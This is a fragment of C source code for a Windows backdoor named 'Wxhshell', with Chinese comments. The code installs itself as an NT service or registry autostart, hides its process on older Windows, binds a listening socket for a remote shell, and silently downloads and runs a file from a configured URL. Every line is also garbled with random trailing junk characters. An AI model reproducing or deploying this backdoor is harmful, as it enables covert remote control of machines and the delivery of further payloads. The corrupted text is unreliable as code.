} PROCESS_BASIC_INFORMATION; @;H,gEH^
p$x{yz3
PROCNTQSIP NtQueryInformationProcess; " $ew~;z
Iz{R}#8CZ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sPb=82~z
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `QUy;%+
4)<~4 '
HANDLE hProcess; (Gw,2-A
PROCESS_BASIC_INFORMATION pbi; }Iz7l{al
_+^ 2^TW
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S9>0t0
if(NULL == hInst ) return 0; acw4B5]
p!<$vE
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {M?vBgR\B
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .^m>AKC0cX
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ryc& n5
_"#!e{N|
if (!NtQueryInformationProcess) return 0; n]u<!.X
yH<$k^0r*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E gDQ+(
-
if(!hProcess) return 0; H=\!2XS
a<A+4uXyD
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ii^5\v|C
@j4U^"_QB
CloseHandle(hProcess); JB&\i#
b77>$[xB
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @mBX~ ?=Z3
if(hProcess==NULL) return 0; -Z?Vd!H:
bQZ*r{g
HMODULE hMod; QZ?=M@|f
char procName[255]; W.1As{
unsigned long cbNeeded; C^z\([k0er
4j!]:ra
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s #S%#LM
1<<kA:d
CloseHandle(hProcess); KPpHwcYxT
C( id=F
if(strstr(procName,"services")) return 1; // 以服务启动 \6 93kQ
<uc1D/~^:
return 0; // 注册表启动 $
A9%UhV
} 7rC uu *M
ZJjTzEV%^B
// 主模块 hHPs&EA.p
int StartWxhshell(LPSTR lpCmdLine) q,3;m[cA
{ xwH?0/
SOCKET wsl; $7'gRb4
BOOL val=TRUE; {q3H5csFq
int port=0; wM_
6{
struct sockaddr_in door; @Fpb-Qd"
-.|4Y#b:&
if(wscfg.ws_autoins) Install(); \Fe_rh
!P$'#5mr
port=atoi(lpCmdLine); }rdIUlVO\
c0Dmq)HK?
if(port<=0) port=wscfg.ws_port; kpI{KISQu
\M"UmSB o
WSADATA data; 4W#E`9
6u
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D)brPMS:o
m"9XT)N
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; WpLZQ6wH
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /S\cU`ZVe
door.sin_family = AF_INET; AC.A'|"]i
door.sin_addr.s_addr = inet_addr("127.0.0.1"); G8I Y#
door.sin_port = htons(port); -OYDe@Wb]
=5sF"L;b
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %G@5!|J
closesocket(wsl); 6st^4S5
return 1; '?Jxt:<
} -[Qvg49jy
Xm4CKuU@
if(listen(wsl,2) == INVALID_SOCKET) {
YOAn4]j
closesocket(wsl); c:l]=O
return 1; 3?E&}J<n
} yxBUj*3
Wxhshell(wsl); Q#Y k?Kv~
WSACleanup(); WM)F0@"
#2tCV't
return 0; ZE`lr+_Y
==cd>03()
} %o}(sShS
{NCF6Mk
// 以NT服务方式启动 s(_+!d6
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8)VgS&B~
{ c[ht`!P
DWORD status = 0; 3g~^LZ66
DWORD specificError = 0xfffffff; /i)Hb`(S
IOK}+C0e
serviceStatus.dwServiceType = SERVICE_WIN32; p$k\m|t
serviceStatus.dwCurrentState = SERVICE_START_PENDING; G]Jz"xH#
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >x[`;O4
serviceStatus.dwWin32ExitCode = 0; w G8Wez%
serviceStatus.dwServiceSpecificExitCode = 0; @S 6u9v
serviceStatus.dwCheckPoint = 0; 1>r ,vD&
serviceStatus.dwWaitHint = 0; 0
3~Ikll
r
Db>&s3
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8#` 6M5
if (hServiceStatusHandle==0) return; E:nt)Ef,
oH2!5;A|
status = GetLastError(); gZT)pP
if (status!=NO_ERROR) _B,_4}
{ [^~7]2 i
serviceStatus.dwCurrentState = SERVICE_STOPPED; eu'1H@vX(
serviceStatus.dwCheckPoint = 0; .~}z4r
serviceStatus.dwWaitHint = 0; #ycL'T`X%
serviceStatus.dwWin32ExitCode = status; RH~3M0'0
serviceStatus.dwServiceSpecificExitCode = specificError; r?l;I3~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <1&Ke
return; <3hA!$o~
} K<v:-TjQZ:
,PWj_}|L[
serviceStatus.dwCurrentState = SERVICE_RUNNING; *wi}>_\
serviceStatus.dwCheckPoint = 0; Q;nAPS
serviceStatus.dwWaitHint = 0; mo1
puU
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N*DhjEU)[
} +ySY>`1k~
yoqa@ V
// 处理NT服务事件,比如:启动、停止 ODf4+& u
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0p fnV%
{ cbKL$|
switch(fdwControl) !ax;5 @J
{ ^t'3rft
case SERVICE_CONTROL_STOP: &k
T"oK
serviceStatus.dwWin32ExitCode = 0; F3ZxhkF
serviceStatus.dwCurrentState = SERVICE_STOPPED; J -Qh/d%]
serviceStatus.dwCheckPoint = 0; S:Tm23pe
serviceStatus.dwWaitHint = 0; A2x;fgi
{ |)@N-f:E
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F?Or;p5`Y
} zL s^,x
return; j.3o W
case SERVICE_CONTROL_PAUSE: uC~g#[I QM
serviceStatus.dwCurrentState = SERVICE_PAUSED; .9LL+d
break; |ia@,*KD
case SERVICE_CONTROL_CONTINUE: ykq'g|
serviceStatus.dwCurrentState = SERVICE_RUNNING; .V%*{eHLL
break; >kdM:MK
case SERVICE_CONTROL_INTERROGATE: OR+A_:c.D
break; C]`eH*z~8
}; Xy#VQ{!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); iUr xJh
} OoP@-D"e
-Gsl[Rc0H;
// 标准应用程序主函数 /BH.>R4`A
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lVeH+"M?
{ zj]b&In6;
ID8k/t!
// 获取操作系统版本 ccO
aCr
OsIsNt=GetOsVer(); gJ\%>r7h
GetModuleFileName(NULL,ExeFile,MAX_PATH); GYgWf1$8_D
eX<K5K.B
// 从命令行安装 p[YWSjf
if(strpbrk(lpCmdLine,"iI")) Install(); Wp*sPZ
Um
;kd
// 下载执行文件 L? ;/cO^
if(wscfg.ws_downexe) { bNvAyKc-
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B5Va%?Wg?H
WinExec(wscfg.ws_filenam,SW_HIDE); #t5juX9Ho9
} J>v$2?w`w
*1;23BiH-
if(!OsIsNt) { n0.8)=;2
// 如果时win9x,隐藏进程并且设置为注册表启动 ?~qC,N [
HideProc(); Qp&?L"U)2
StartWxhshell(lpCmdLine); v+tO$QZ`
} *4#on>
else y<r44a_!
if(StartFromService()) P$h;SK
// 以服务方式启动 1PU*:58[
StartServiceCtrlDispatcher(DispatchTable); Za\RM[Z!I
else TczXHT}G
// 普通方式启动 n.;3X
StartWxhshell(lpCmdLine); I2*oTUSik
Xr2J:1pgg
return 0; b@-)Fy4d2
}